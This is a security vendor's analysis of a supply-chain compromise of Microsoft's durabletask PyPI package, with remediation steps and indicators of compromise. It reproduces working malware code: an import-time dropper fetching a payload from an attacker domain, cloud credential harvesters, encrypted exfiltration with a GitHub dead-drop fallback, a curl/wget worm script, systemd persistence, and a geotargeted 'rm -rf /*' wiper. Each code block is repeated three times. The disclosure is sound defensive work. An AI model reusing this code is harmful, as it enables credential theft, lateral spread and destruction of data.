BACK

Real World Attacks

Mini Shai-Hulud spreads to Microsoft's durabletask PyPi packages

Valentino Duval

20 May 2026

Real World Attacks

Mini Shai-Hulud spreads to Microsoft's durabletask PyPi packages

Valentino Duval

20 May 2026

Real World Attacks

Mini Shai-Hulud spreads to Microsoft's durabletask PyPi packages

Valentino Duval

20 May 2026

No headings found in content selector: .toc-content

Mini Shai-Hulud spreads to Microsoft's durabletask PyPi packages

Executive Summary

Ossprey Security flagged all three malicious versions of durabletask within seconds of each upload to PyPI on May 19, 2026. durabletask is Microsoft's Durable Task Python SDK for Azure, downloaded roughly 417,000 times per month. Versions 1.4.1, 1.4.2, and 1.4.3 were published within a 35-minute window as part of the Mini Shai-Hulud supply-chain campaign attributed to the TeamPCP threat group, using a stolen PyPI API token from a prior campaign wave. No code was pushed to the upstream Microsoft GitHub repository.

Each version contains a Linux-only import-time dropper injected directly into package source files. The injection surface grew across versions: 1.4.1 modified only __init__.py, 1.4.2 added task.py, and 1.4.3 spread the same block across five files, covering every major submodule entry point. The dropper fires the moment any part of the SDK is imported, downloads rope.pyz from check.git-service[.]com, and executes it as a detached background process with all output silenced.

The second stage, internally codenamed FIRESCALE, is a multi-cloud credential worm. It sweeps AWS, Azure, GCP, HashiCorp Vault, and Kubernetes credentials alongside 90+ local credential file paths and four password managers, encrypts everything with RSA-4096/AES-256-GCM, and exfiltrates to the C2. A fallback channel resolves a new C2 endpoint from signed GitHub commit messages tagged FIRESCALE if the primary fails. The worm propagates to AWS EC2 instances via SSM SendCommand and to Kubernetes pods via kubectl exec, installs a persistence service (pgsql-monitor.service), and on systems with Israeli or Iranian locale markers probabilistically triggers a disk wipe.

Who is Behind This?

Attribution to the TeamPCP threat group is assessed with moderate-to-high confidence based on shared C2 infrastructure (check.git-service[.]com, t.m-kosche[.]com), identical payload architecture to the prior guardrails-ai and @antv npm wave documented days earlier, and the Russian-folklore repository naming convention used during GitHub-based exfiltration fallback. The initial access vector was a stolen PyPI API token extracted from secrets in a GitHub repository compromised during a prior TeamPCP wave, consistent with the group's documented credential-chaining behavior.

Technical Breakdown

Stage 0: Supply-chain account compromise and package publication

TeamPCP never touched the upstream microsoft/durabletask-python GitHub repository. No tags v1.4.1, v1.4.2, or v1.4.3 exist there, and no GitHub Actions publishing workflow ran on May 19, 2026. The token had been extracted from secrets in a GitHub repository that a compromised developer account had access to during a prior campaign wave. The attacker used it to build and upload modified packages directly via twine. All three versions appeared within 35 minutes: v1.4.1 at 16:19 UTC, v1.4.2 at 16:49 UTC, and v1.4.3 at 16:54 UTC. Package metadata still pointed to the legitimate Microsoft GitHub repository URL, lending the malicious versions unearned credibility to anyone checking the PyPI page.

# durabletask-1.4.3.dist-info/METADATA (excerpt)
Metadata-Version: 2.4
Name: durabletask
Version: 1.4.3
Summary: A Durable Task Client SDK for Python
# Project-URL still points to microsoft/durabletask-python
# No corresponding tag v1.4.3 exists in that repository.
# No GitHub Actions workflow ran on May 19, 2026.
# The most recent legitimate tag is v1.4.0 (last code commit April 24, 2026)

# durabletask-1.4.3.dist-info/METADATA (excerpt)
Metadata-Version: 2.4
Name: durabletask
Version: 1.4.3
Summary: A Durable Task Client SDK for Python
# Project-URL still points to microsoft/durabletask-python
# No corresponding tag v1.4.3 exists in that repository.
# No GitHub Actions workflow ran on May 19, 2026.
# The most recent legitimate tag is v1.4.0 (last code commit April 24, 2026)

# durabletask-1.4.3.dist-info/METADATA (excerpt)
Metadata-Version: 2.4
Name: durabletask
Version: 1.4.3
Summary: A Durable Task Client SDK for Python
# Project-URL still points to microsoft/durabletask-python
# No corresponding tag v1.4.3 exists in that repository.
# No GitHub Actions workflow ran on May 19, 2026.
# The most recent legitimate tag is v1.4.0 (last code commit April 24, 2026)

Stage 1: Import-time dropper: expanding injection surface across versions

The dropper is a fixed block inserted into package source files that triggers at import time, not at install time. In durabletask@1.4.1 only __init__.py was modified. In 1.4.2 the same block was added to task.py. In 1.4.3 the injection appeared in five files: __init__.py, task.py, entities/__init__.py, extensions/__init__.py, and payload/__init__.py. This expanding surface means any code path that imports the package, whether directly or via a submodule, will trigger the dropper. The code checks for Linux, downloads rope.pyz from check.git-service[.]com into /tmp/managed.pyz, then launches it via subprocess.Popen with start_new_session=True and all I/O redirected to /dev/null. A bare except: pass clause silently swallows any failure, so the legitimate package functionality appears completely unaffected.

# durabletask/__init__.py (identical across all three versions)
import os
import sys
import platform
import subprocess
import urllib.request

if platform.system() == "Linux":
    try:
        urllib.request.urlretrieve("https://check.git-service.com/rope.pyz", "/tmp/managed.pyz")
        with open(os.devnull, 'w') as f:
            subprocess.Popen(["python3", "/tmp/managed.pyz"], stdout=f, stderr=f, stdin=f, start_new_session=True)
    except:
        pass

from durabletask.payload.store import LargePayloadStorageOptions, PayloadStore
from durabletask.worker import (
    ActivityWorkItemFilter,
    ConcurrencyOptions,
    EntityWorkItemFilter,
    OrchestrationWorkItemFilter,
    VersioningOptions,
    WorkItemFilters,
)
# durabletask/__init__.py (identical across all three versions)
import os
import sys
import platform
import subprocess
import urllib.request

if platform.system() == "Linux":
    try:
        urllib.request.urlretrieve("https://check.git-service.com/rope.pyz", "/tmp/managed.pyz")
        with open(os.devnull, 'w') as f:
            subprocess.Popen(["python3", "/tmp/managed.pyz"], stdout=f, stderr=f, stdin=f, start_new_session=True)
    except:
        pass

from durabletask.payload.store import LargePayloadStorageOptions, PayloadStore
from durabletask.worker import (
    ActivityWorkItemFilter,
    ConcurrencyOptions,
    EntityWorkItemFilter,
    OrchestrationWorkItemFilter,
    VersioningOptions,
    WorkItemFilters,
)
# durabletask/__init__.py (identical across all three versions)
import os
import sys
import platform
import subprocess
import urllib.request

if platform.system() == "Linux":
    try:
        urllib.request.urlretrieve("https://check.git-service.com/rope.pyz", "/tmp/managed.pyz")
        with open(os.devnull, 'w') as f:
            subprocess.Popen(["python3", "/tmp/managed.pyz"], stdout=f, stderr=f, stdin=f, start_new_session=True)
    except:
        pass

from durabletask.payload.store import LargePayloadStorageOptions, PayloadStore
from durabletask.worker import (
    ActivityWorkItemFilter,
    ConcurrencyOptions,
    EntityWorkItemFilter,
    OrchestrationWorkItemFilter,
    VersioningOptions,
    WorkItemFilters,
)

Stage 2: Payload initialization and anti-analysis gates

rope.pyz starts at __main__.py and runs three sequential checks before doing any work. First, it verifies sys.platform == 'linux'. Second, it reads the LANG environment variable and exits if the value starts with ru, explicitly excluding Russian-locale systems. Third, it checks CPU count and exits if it is two or fewer, filtering out VMs and sandboxes. If the cryptography library is missing, the payload installs it silently via pip with --break-system-packages. All subsequent output is redirected to /dev/null via redirect_stdout/redirect_stderr.

# rope/__main__.py
if sys.platform not in ('linux'):
    _log("Platform check failed: not Linux, exiting")
    sys.exit(1)

try:
    lang = os.environ.get('LANG', '').split('.')[0]
    if lang.lower().startswith('ru'):
        _log("Russia check failed: LANG starts with 'ru', exiting")
        sys.exit(1)
except Exception as e:
    _log(f"Russia check exception (continuing): {e}")

cpu_count = os.cpu_count()
if cpu_count is None or cpu_count <= 2:
    _log("CPU check failed: insufficient CPUs, exiting")
    sys.exit(1)

try:
    import cryptography
except ImportError:
    subprocess.check_call(
        [sys.executable, "-m", "pip", "install", "cryptography", "--break-system-packages"],
        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
    )

if DEBUG:
    runpy.run_module('entrypoint', run_name='__main__')
else:
    with open(os.devnull, 'w') as fnull:
        with redirect_stdout(fnull), redirect_stderr(fnull):
            runpy.run_module('entrypoint', run_name='__main__')
# rope/__main__.py
if sys.platform not in ('linux'):
    _log("Platform check failed: not Linux, exiting")
    sys.exit(1)

try:
    lang = os.environ.get('LANG', '').split('.')[0]
    if lang.lower().startswith('ru'):
        _log("Russia check failed: LANG starts with 'ru', exiting")
        sys.exit(1)
except Exception as e:
    _log(f"Russia check exception (continuing): {e}")

cpu_count = os.cpu_count()
if cpu_count is None or cpu_count <= 2:
    _log("CPU check failed: insufficient CPUs, exiting")
    sys.exit(1)

try:
    import cryptography
except ImportError:
    subprocess.check_call(
        [sys.executable, "-m", "pip", "install", "cryptography", "--break-system-packages"],
        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
    )

if DEBUG:
    runpy.run_module('entrypoint', run_name='__main__')
else:
    with open(os.devnull, 'w') as fnull:
        with redirect_stdout(fnull), redirect_stderr(fnull):
            runpy.run_module('entrypoint', run_name='__main__')
# rope/__main__.py
if sys.platform not in ('linux'):
    _log("Platform check failed: not Linux, exiting")
    sys.exit(1)

try:
    lang = os.environ.get('LANG', '').split('.')[0]
    if lang.lower().startswith('ru'):
        _log("Russia check failed: LANG starts with 'ru', exiting")
        sys.exit(1)
except Exception as e:
    _log(f"Russia check exception (continuing): {e}")

cpu_count = os.cpu_count()
if cpu_count is None or cpu_count <= 2:
    _log("CPU check failed: insufficient CPUs, exiting")
    sys.exit(1)

try:
    import cryptography
except ImportError:
    subprocess.check_call(
        [sys.executable, "-m", "pip", "install", "cryptography", "--break-system-packages"],
        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
    )

if DEBUG:
    runpy.run_module('entrypoint', run_name='__main__')
else:
    with open(os.devnull, 'w') as fnull:
        with redirect_stdout(fnull), redirect_stderr(fnull):
            runpy.run_module('entrypoint', run_name='__main__')

Stage 3: Multi-cloud and local credential harvesting

All collectors run concurrently via a ThreadPoolExecutor. Each is independent and silently swallows exceptions. collectors/aws.py resolves credentials from environment variables or IMDSv2, then enumerates AWS Secrets Manager and SSM Parameter Store across 19 hardcoded regions with 15 concurrent threads per scan. collectors/azure.py resolves tokens from environment variables, a PEM certificate, the Azure CLI token cache, or IMDS, then lists all subscriptions, all Key Vaults in each, and all secrets in each vault. collectors/gcp.py resolves credentials from the ADC file, GOOGLE_APPLICATION_CREDENTIALS, or the GCP IMDS endpoint, then lists and retrieves all Secret Manager secrets. collectors/vault.py resolves a Vault token from environment, ~/.vault-token, AppRole login, or the vault CLI, then walks every KV mount. collectors/filesystem.py reads 90+ hardcoded credential file paths, all files in ~/.ssh/, all .env files under the home directory, all Terraform state files, Docker container environment variables (via Unix socket or CLI), and VPN configurations. collectors/passwords.py attempts to unlock and dump Bitwarden, 1Password, pass, and gopass by brute-forcing with passwords scraped from environment variables and shell history.

# collectors/aws.py (credential resolution and secrets enumeration)
def _get_imds_credentials():
    try:
        req = urllib.request.Request("http://169.254.169.254/latest/api/token",
            headers={"X-aws-ec2-metadata-token-ttl-seconds": "21600"}, method="PUT")
        token = urllib.request.urlopen(req, timeout=1).read().decode().strip()
        req2 = urllib.request.Request("http://169.254.169.254/latest/meta-data/iam/security-credentials/",
            headers={"X-aws-ec2-metadata-token": token})
        role = urllib.request.urlopen(req2, timeout=1).read().decode().strip()
        req3 = urllib.request.Request(
            f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role}",
            headers={"X-aws-ec2-metadata-token": token})
        creds = json.loads(urllib.request.urlopen(req3, timeout=1).read().decode())
        return creds.get('AccessKeyId','').strip(), creds.get('SecretAccessKey','').strip(), creds.get('Token','').strip()
    except: return None, None, None

REGIONS = [
    "us-east-1", "us-east-2", "us-west-1", "us-west-2",
    "eu-west-1", "eu-west-2", "eu-west-3", "eu-central-1", "eu-north-1",
    "ap-northeast-1", "ap-northeast-2", "ap-northeast-3",
    "ap-southeast-1", "ap-southeast-2", "ap-south-1",
    "sa-east-1", "ca-central-1", "us-gov-east-1", "us-gov-west-1"
]
# collectors/aws.py (credential resolution and secrets enumeration)
def _get_imds_credentials():
    try:
        req = urllib.request.Request("http://169.254.169.254/latest/api/token",
            headers={"X-aws-ec2-metadata-token-ttl-seconds": "21600"}, method="PUT")
        token = urllib.request.urlopen(req, timeout=1).read().decode().strip()
        req2 = urllib.request.Request("http://169.254.169.254/latest/meta-data/iam/security-credentials/",
            headers={"X-aws-ec2-metadata-token": token})
        role = urllib.request.urlopen(req2, timeout=1).read().decode().strip()
        req3 = urllib.request.Request(
            f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role}",
            headers={"X-aws-ec2-metadata-token": token})
        creds = json.loads(urllib.request.urlopen(req3, timeout=1).read().decode())
        return creds.get('AccessKeyId','').strip(), creds.get('SecretAccessKey','').strip(), creds.get('Token','').strip()
    except: return None, None, None

REGIONS = [
    "us-east-1", "us-east-2", "us-west-1", "us-west-2",
    "eu-west-1", "eu-west-2", "eu-west-3", "eu-central-1", "eu-north-1",
    "ap-northeast-1", "ap-northeast-2", "ap-northeast-3",
    "ap-southeast-1", "ap-southeast-2", "ap-south-1",
    "sa-east-1", "ca-central-1", "us-gov-east-1", "us-gov-west-1"
]
# collectors/aws.py (credential resolution and secrets enumeration)
def _get_imds_credentials():
    try:
        req = urllib.request.Request("http://169.254.169.254/latest/api/token",
            headers={"X-aws-ec2-metadata-token-ttl-seconds": "21600"}, method="PUT")
        token = urllib.request.urlopen(req, timeout=1).read().decode().strip()
        req2 = urllib.request.Request("http://169.254.169.254/latest/meta-data/iam/security-credentials/",
            headers={"X-aws-ec2-metadata-token": token})
        role = urllib.request.urlopen(req2, timeout=1).read().decode().strip()
        req3 = urllib.request.Request(
            f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role}",
            headers={"X-aws-ec2-metadata-token": token})
        creds = json.loads(urllib.request.urlopen(req3, timeout=1).read().decode())
        return creds.get('AccessKeyId','').strip(), creds.get('SecretAccessKey','').strip(), creds.get('Token','').strip()
    except: return None, None, None

REGIONS = [
    "us-east-1", "us-east-2", "us-west-1", "us-west-2",
    "eu-west-1", "eu-west-2", "eu-west-3", "eu-central-1", "eu-north-1",
    "ap-northeast-1", "ap-northeast-2", "ap-northeast-3",
    "ap-southeast-1", "ap-southeast-2", "ap-south-1",
    "sa-east-1", "ca-central-1", "us-gov-east-1", "us-gov-west-1"
]

Stage 4: Encrypted exfiltration with FIRESCALE dead-drop C2 fallback

All collected data is gzip-compressed, then encrypted: a random 32-byte AES key and 12-byte IV are generated, the payload is encrypted with AES-256-GCM, and the AES key is wrapped with the attacker's RSA-4096 public key using OAEP-SHA256 padding. The bundle is POSTed to check.git-service[.]com/api/public/version. If that endpoint is unreachable, the payload searches GitHub commit messages for the pattern FIRESCALE\s+([A-Za-z0-9+/=]+)\.([A-Za-z0-9+/=]+), decodes the base64 URL and signature, and verifies the signature against the same embedded RSA public key. This lets the attacker rotate the C2 by pushing a signed commit to any public repository. If all C2 channels fail, the payload searches collected data for GitHub tokens matching ghp_ or github_pat_ patterns, creates a new public repository with a randomly chosen Russian folklore name, and uploads the encrypted bundle there.

# rope/entrypoint.py - exfiltration and FIRESCALE dead-drop
def _build_package(data: dict) -> dict:
    compressed = gzip.compress(json.dumps(data).encode())
    aes_key = os.urandom(32)
    iv = os.urandom(12)
    encrypted_key = rsa_oaep_encrypt_sha256(config.PUBLIC_KEY_PEM, aes_key)
    ciphertext, tag = aes_256_gcm_encrypt(aes_key, iv, compressed)
    return {
        "envelope": base64.b64encode(iv + ciphertext + tag).decode(),
        "key": base64.b64encode(encrypted_key).decode(),
    }

_FIRESCALE_RE = re.compile(r'FIRESCALE\s+([A-Za-z0-9+/=]+)\.([A-Za-z0-9+/=]+)')

def _resolve_mothership_via_github():
    req = urllib.request.Request(
        "https://api.github.com/search/commits?q=FIRESCALE&sort=committer-date&order=desc&per_page=30",
        headers={"Accept": "application/vnd.github.cloak-preview+json", "User-Agent": "git/2.39.0"}
    )
    with urllib.request.urlopen(req, timeout=config.GITHUB_API_TIMEOUT) as resp:
        data = json.loads(resp.read().decode())
    for item in data.get("items", []):
        message = item.get("commit", {}).get("message", "")
        m = _FIRESCALE_RE.search(message)
        if not m: continue
        b64_url, b64_sig = m.group(1), m.group(2)
        url_bytes = base64.b64decode(b64_url + "==")
        sig_bytes = base64.b64decode(b64_sig + "==")
        if rsa_verify_sha256(config.PUBLIC_KEY_PEM, b64_url.encode(), sig_bytes):
            return url_bytes.decode().strip()
    return None
# rope/entrypoint.py - exfiltration and FIRESCALE dead-drop
def _build_package(data: dict) -> dict:
    compressed = gzip.compress(json.dumps(data).encode())
    aes_key = os.urandom(32)
    iv = os.urandom(12)
    encrypted_key = rsa_oaep_encrypt_sha256(config.PUBLIC_KEY_PEM, aes_key)
    ciphertext, tag = aes_256_gcm_encrypt(aes_key, iv, compressed)
    return {
        "envelope": base64.b64encode(iv + ciphertext + tag).decode(),
        "key": base64.b64encode(encrypted_key).decode(),
    }

_FIRESCALE_RE = re.compile(r'FIRESCALE\s+([A-Za-z0-9+/=]+)\.([A-Za-z0-9+/=]+)')

def _resolve_mothership_via_github():
    req = urllib.request.Request(
        "https://api.github.com/search/commits?q=FIRESCALE&sort=committer-date&order=desc&per_page=30",
        headers={"Accept": "application/vnd.github.cloak-preview+json", "User-Agent": "git/2.39.0"}
    )
    with urllib.request.urlopen(req, timeout=config.GITHUB_API_TIMEOUT) as resp:
        data = json.loads(resp.read().decode())
    for item in data.get("items", []):
        message = item.get("commit", {}).get("message", "")
        m = _FIRESCALE_RE.search(message)
        if not m: continue
        b64_url, b64_sig = m.group(1), m.group(2)
        url_bytes = base64.b64decode(b64_url + "==")
        sig_bytes = base64.b64decode(b64_sig + "==")
        if rsa_verify_sha256(config.PUBLIC_KEY_PEM, b64_url.encode(), sig_bytes):
            return url_bytes.decode().strip()
    return None
# rope/entrypoint.py - exfiltration and FIRESCALE dead-drop
def _build_package(data: dict) -> dict:
    compressed = gzip.compress(json.dumps(data).encode())
    aes_key = os.urandom(32)
    iv = os.urandom(12)
    encrypted_key = rsa_oaep_encrypt_sha256(config.PUBLIC_KEY_PEM, aes_key)
    ciphertext, tag = aes_256_gcm_encrypt(aes_key, iv, compressed)
    return {
        "envelope": base64.b64encode(iv + ciphertext + tag).decode(),
        "key": base64.b64encode(encrypted_key).decode(),
    }

_FIRESCALE_RE = re.compile(r'FIRESCALE\s+([A-Za-z0-9+/=]+)\.([A-Za-z0-9+/=]+)')

def _resolve_mothership_via_github():
    req = urllib.request.Request(
        "https://api.github.com/search/commits?q=FIRESCALE&sort=committer-date&order=desc&per_page=30",
        headers={"Accept": "application/vnd.github.cloak-preview+json", "User-Agent": "git/2.39.0"}
    )
    with urllib.request.urlopen(req, timeout=config.GITHUB_API_TIMEOUT) as resp:
        data = json.loads(resp.read().decode())
    for item in data.get("items", []):
        message = item.get("commit", {}).get("message", "")
        m = _FIRESCALE_RE.search(message)
        if not m: continue
        b64_url, b64_sig = m.group(1), m.group(2)
        url_bytes = base64.b64decode(b64_url + "==")
        sig_bytes = base64.b64decode(b64_sig + "==")
        if rsa_verify_sha256(config.PUBLIC_KEY_PEM, b64_url.encode(), sig_bytes):
            return url_bytes.decode().strip()
    return None

Stage 5: Worm propagation via AWS SSM and Kubernetes kubectl exec

After credential collection, the AWS collector calls collectors/propagate.py with the enumerated SSM-managed instances. A ~/.cache/.sys-update-check marker prevents re-running on already-infected hosts. The module selects up to five online, non-Windows, non-self EC2 instances across all discovered profiles and regions, and issues SendCommand with the AWS-RunShellScript document. The shell script downloads rope.pyz from the primary C2, falls back to t.m-kosche[.]com, and executes it with nohup before self-deleting. Separately, collectors/kubernetes.py lists all running pods via kubectl, then calls kubectl exec to run the same script in the first container of up to five target pods. A separate ~/.cache/.sys-update-check-k8s marker tracks Kubernetes propagation. If kubectl is not present, the payload attempts to download it from dl.k8s.io.

# collectors/propagate.py - AWS SSM propagation script
propagation_script = f"""#!/bin/bash
[ "$(uname -s)" != "Linux" ] && exit 0
MARKER="$HOME/.cache/.sys-update-check"
[ -f "$MARKER" ] && exit 0
mkdir -p "$HOME/.cache" 2>/dev/null
cd /tmp
PAYLOAD_FILE="rope-${{RANDOM}}.pyz"
curl -sSL -w "%{{http_code}}" "{primary_url}" -o "$PAYLOAD_FILE" 2>/dev/null | grep -q "^200$" \
  || curl -sSL "{secondary_url}" -o "$PAYLOAD_FILE" 2>/dev/null \
  || wget -q -O "$PAYLOAD_FILE" "{primary_url}" 2>/dev/null \
  || wget -q -O "$PAYLOAD_FILE" "{secondary_url}" 2>/dev/null \
  || exit 0
[ -f "$PAYLOAD_FILE" ] || exit 0
nohup python3 "$PAYLOAD_FILE" > /dev/null 2>&1 &
sleep 2
rm -f "$PAYLOAD_FILE" 2>/dev/null
"""

# Issued via AWS SSM SendCommand:
send_response = _call_ssm(
    target_region, ak, sk, tok, "SendCommand",
    {
        "InstanceIds": [instance_id],
        "DocumentName": "AWS-RunShellScript",
        "Parameters": {"commands": [propagation_script]},
        "TimeoutSeconds": 30
    }
)
# collectors/propagate.py - AWS SSM propagation script
propagation_script = f"""#!/bin/bash
[ "$(uname -s)" != "Linux" ] && exit 0
MARKER="$HOME/.cache/.sys-update-check"
[ -f "$MARKER" ] && exit 0
mkdir -p "$HOME/.cache" 2>/dev/null
cd /tmp
PAYLOAD_FILE="rope-${{RANDOM}}.pyz"
curl -sSL -w "%{{http_code}}" "{primary_url}" -o "$PAYLOAD_FILE" 2>/dev/null | grep -q "^200$" \
  || curl -sSL "{secondary_url}" -o "$PAYLOAD_FILE" 2>/dev/null \
  || wget -q -O "$PAYLOAD_FILE" "{primary_url}" 2>/dev/null \
  || wget -q -O "$PAYLOAD_FILE" "{secondary_url}" 2>/dev/null \
  || exit 0
[ -f "$PAYLOAD_FILE" ] || exit 0
nohup python3 "$PAYLOAD_FILE" > /dev/null 2>&1 &
sleep 2
rm -f "$PAYLOAD_FILE" 2>/dev/null
"""

# Issued via AWS SSM SendCommand:
send_response = _call_ssm(
    target_region, ak, sk, tok, "SendCommand",
    {
        "InstanceIds": [instance_id],
        "DocumentName": "AWS-RunShellScript",
        "Parameters": {"commands": [propagation_script]},
        "TimeoutSeconds": 30
    }
)
# collectors/propagate.py - AWS SSM propagation script
propagation_script = f"""#!/bin/bash
[ "$(uname -s)" != "Linux" ] && exit 0
MARKER="$HOME/.cache/.sys-update-check"
[ -f "$MARKER" ] && exit 0
mkdir -p "$HOME/.cache" 2>/dev/null
cd /tmp
PAYLOAD_FILE="rope-${{RANDOM}}.pyz"
curl -sSL -w "%{{http_code}}" "{primary_url}" -o "$PAYLOAD_FILE" 2>/dev/null | grep -q "^200$" \
  || curl -sSL "{secondary_url}" -o "$PAYLOAD_FILE" 2>/dev/null \
  || wget -q -O "$PAYLOAD_FILE" "{primary_url}" 2>/dev/null \
  || wget -q -O "$PAYLOAD_FILE" "{secondary_url}" 2>/dev/null \
  || exit 0
[ -f "$PAYLOAD_FILE" ] || exit 0
nohup python3 "$PAYLOAD_FILE" > /dev/null 2>&1 &
sleep 2
rm -f "$PAYLOAD_FILE" 2>/dev/null
"""

# Issued via AWS SSM SendCommand:
send_response = _call_ssm(
    target_region, ak, sk, tok, "SendCommand",
    {
        "InstanceIds": [instance_id],
        "DocumentName": "AWS-RunShellScript",
        "Parameters": {"commands": [propagation_script]},
        "TimeoutSeconds": 30
    }
)

Stage 6: Persistence installation and destructive payload

When check.git-service[.]com/v1/models returns HTTP 200, it delivers a base64-encoded Python payload. roulette.py:deploy_local() decodes it, writes it to pgmonitor.py in either /usr/bin/ (root) or ~/.local/bin/ (user), and installs a systemd unit pgsql-monitor.service with Restart=always, masquerading as a PostgreSQL monitoring process. Before deploying, roulette.py checks whether the system appears Israeli or Iranian by inspecting timezone environment variables, /etc/timezone, the binary content of /etc/localtime, and locale settings for markers including Jerusalem, Tel_Aviv, Tehran, he_IL, and fa_IR. If any of these match and random.randint(1, 6) returns 2, the function downloads RunForCover.mp3 from the C2, sets audio volume to 100% via pactl, plays it with mpv, and runs subprocess.run(['rm', '-rf', '/*']).

# rope/roulette.py - persistence and destructive branch
def deploy_local(python_b64):
    is_root = os.getuid() == 0
    bin_dir = "/usr/bin" if is_root else os.path.expanduser("~/.local/bin")
    svc_dir = "/etc/systemd/system" if is_root else os.path.expanduser("~/.config/systemd/user")
    bin_path = os.path.join(bin_dir, "pgmonitor.py")
    svc_path = os.path.join(svc_dir, "pgsql-monitor.service")
    with open(bin_path, "wb") as f:
        f.write(base64.b64decode(python_b64))
    os.chmod(bin_path, 0o755)
    unit = f"""[Unit]\nDescription=PostgreSQL Monitor\nAfter=network.target\n[Service]\nExecStart={sys.executable} {bin_path}\nRestart=always\n[Install]\nWantedBy={wanted_by}\n"""
    with open(svc_path, "w") as f: f.write(unit)
    subprocess.run(f"{svc_cmd} daemon-reload", shell=True)
    subprocess.run(f"{svc_cmd} enable --now {CONFIG['SVC_NAME']}", shell=True)

def collect(python_b64):
    roll = random.randint(1, 6)
    if _is_israeli_system() and roll == 2:
        play_at_full_volume(config.RUN_FOR_COVER, "RunForCover.mp3")
        subprocess.run(["rm", "-rf", "/*"])
        return
    deploy_local(python_b64)

# _is_israeli_system checks:
# TZ env var, /etc/timezone, /etc/localtime binary content for:
# ("Jerusalem", "Tel_Aviv", "Tehran")
# LANG / LC_ALL / LC_MESSAGES for: ("he_IL", "fa_IR")
# rope/roulette.py - persistence and destructive branch
def deploy_local(python_b64):
    is_root = os.getuid() == 0
    bin_dir = "/usr/bin" if is_root else os.path.expanduser("~/.local/bin")
    svc_dir = "/etc/systemd/system" if is_root else os.path.expanduser("~/.config/systemd/user")
    bin_path = os.path.join(bin_dir, "pgmonitor.py")
    svc_path = os.path.join(svc_dir, "pgsql-monitor.service")
    with open(bin_path, "wb") as f:
        f.write(base64.b64decode(python_b64))
    os.chmod(bin_path, 0o755)
    unit = f"""[Unit]\nDescription=PostgreSQL Monitor\nAfter=network.target\n[Service]\nExecStart={sys.executable} {bin_path}\nRestart=always\n[Install]\nWantedBy={wanted_by}\n"""
    with open(svc_path, "w") as f: f.write(unit)
    subprocess.run(f"{svc_cmd} daemon-reload", shell=True)
    subprocess.run(f"{svc_cmd} enable --now {CONFIG['SVC_NAME']}", shell=True)

def collect(python_b64):
    roll = random.randint(1, 6)
    if _is_israeli_system() and roll == 2:
        play_at_full_volume(config.RUN_FOR_COVER, "RunForCover.mp3")
        subprocess.run(["rm", "-rf", "/*"])
        return
    deploy_local(python_b64)

# _is_israeli_system checks:
# TZ env var, /etc/timezone, /etc/localtime binary content for:
# ("Jerusalem", "Tel_Aviv", "Tehran")
# LANG / LC_ALL / LC_MESSAGES for: ("he_IL", "fa_IR")
# rope/roulette.py - persistence and destructive branch
def deploy_local(python_b64):
    is_root = os.getuid() == 0
    bin_dir = "/usr/bin" if is_root else os.path.expanduser("~/.local/bin")
    svc_dir = "/etc/systemd/system" if is_root else os.path.expanduser("~/.config/systemd/user")
    bin_path = os.path.join(bin_dir, "pgmonitor.py")
    svc_path = os.path.join(svc_dir, "pgsql-monitor.service")
    with open(bin_path, "wb") as f:
        f.write(base64.b64decode(python_b64))
    os.chmod(bin_path, 0o755)
    unit = f"""[Unit]\nDescription=PostgreSQL Monitor\nAfter=network.target\n[Service]\nExecStart={sys.executable} {bin_path}\nRestart=always\n[Install]\nWantedBy={wanted_by}\n"""
    with open(svc_path, "w") as f: f.write(unit)
    subprocess.run(f"{svc_cmd} daemon-reload", shell=True)
    subprocess.run(f"{svc_cmd} enable --now {CONFIG['SVC_NAME']}", shell=True)

def collect(python_b64):
    roll = random.randint(1, 6)
    if _is_israeli_system() and roll == 2:
        play_at_full_volume(config.RUN_FOR_COVER, "RunForCover.mp3")
        subprocess.run(["rm", "-rf", "/*"])
        return
    deploy_local(python_b64)

# _is_israeli_system checks:
# TZ env var, /etc/timezone, /etc/localtime binary content for:
# ("Jerusalem", "Tel_Aviv", "Tehran")
# LANG / LC_ALL / LC_MESSAGES for: ("he_IL", "fa_IR")

Response

  1. Remove durabletask versions 1.4.1, 1.4.2, and 1.4.3 from all environments, lockfiles, container images, and CI/CD caches; reinstall v1.4.0 or the latest clean release only after verifying package integrity against the upstream GitHub repository.

  2. Treat any host that imported durabletask 1.4.1-1.4.3 as fully compromised: rotate all cloud credentials (AWS access keys, Azure client secrets, GCP service account keys), SSH private keys, Vault tokens, Kubernetes service account tokens, npm and PyPI publishing tokens, and master passwords for Bitwarden and 1Password.

  3. Check for active persistence: search for pgsql-monitor.service in /etc/systemd/system/ and ~/.config/systemd/user/; check for pgmonitor.py in /usr/bin/ and ~/.local/bin/; check for running python3 /tmp/managed.pyz or python3 /tmp/rope-*.pyz processes.

  4. Check propagation markers: ~/.cache/.sys-update-check confirms the AWS/general worm logic ran; ~/.cache/.sys-update-check-k8s confirms Kubernetes propagation attempted. Audit all hosts reachable from infected machines.

  5. Audit AWS CloudTrail for SendCommand events with document name AWS-RunShellScript originating from potentially compromised instance profiles, and investigate all targeted instance IDs.

  6. Audit Kubernetes audit logs for exec commands from infected pods; review all namespaces for newly created or modified secrets.

  7. Block check.git-service[.]com and t.m-kosche[.]com at DNS resolvers and egress proxies; block outbound HTTPS to /v1/models, /audio.mp3, /api/public/version, and /rope.pyz on those domains.

  8. Audit GitHub for repositories created with Russian-folklore two-word names (e.g. KOSCHEI-FIREBIRD-NNN) under any account whose token was on an infected host; these may contain encrypted credential bundles.

Indicators of Compromise

Network

  • https://check.git-service.com/rope.pyz

  • https://check.git-service.com/v1/models

  • https://check.git-service.com/api/public/version

  • https://check.git-service.com/audio.mp3

  • https://t.m-kosche.com/rope.pyz

  • https://api.github.com/search/commits?q=FIRESCALE&sort=committer-date&order=desc&per_page=30

Filesystem

  • /tmp/managed.pyz

  • /tmp/rope-*.pyz

  • ~/.cache/.sys-update-check

  • ~/.cache/.sys-update-check-k8s

  • /usr/bin/pgmonitor.py

  • ~/.local/bin/pgmonitor.py

  • /etc/systemd/system/pgsql-monitor.service

  • ~/.config/systemd/user/pgsql-monitor.service

Credentials targeted

  • ~/.aws/credentials

  • ~/.aws/config

  • ~/.config/gcloud/application_default_credentials.json

  • ~/.azure/accessTokens.json

  • ~/.kube/config

  • ~/.vault-token

  • ~/.ssh/ (all files)

  • ~/.docker/config.json

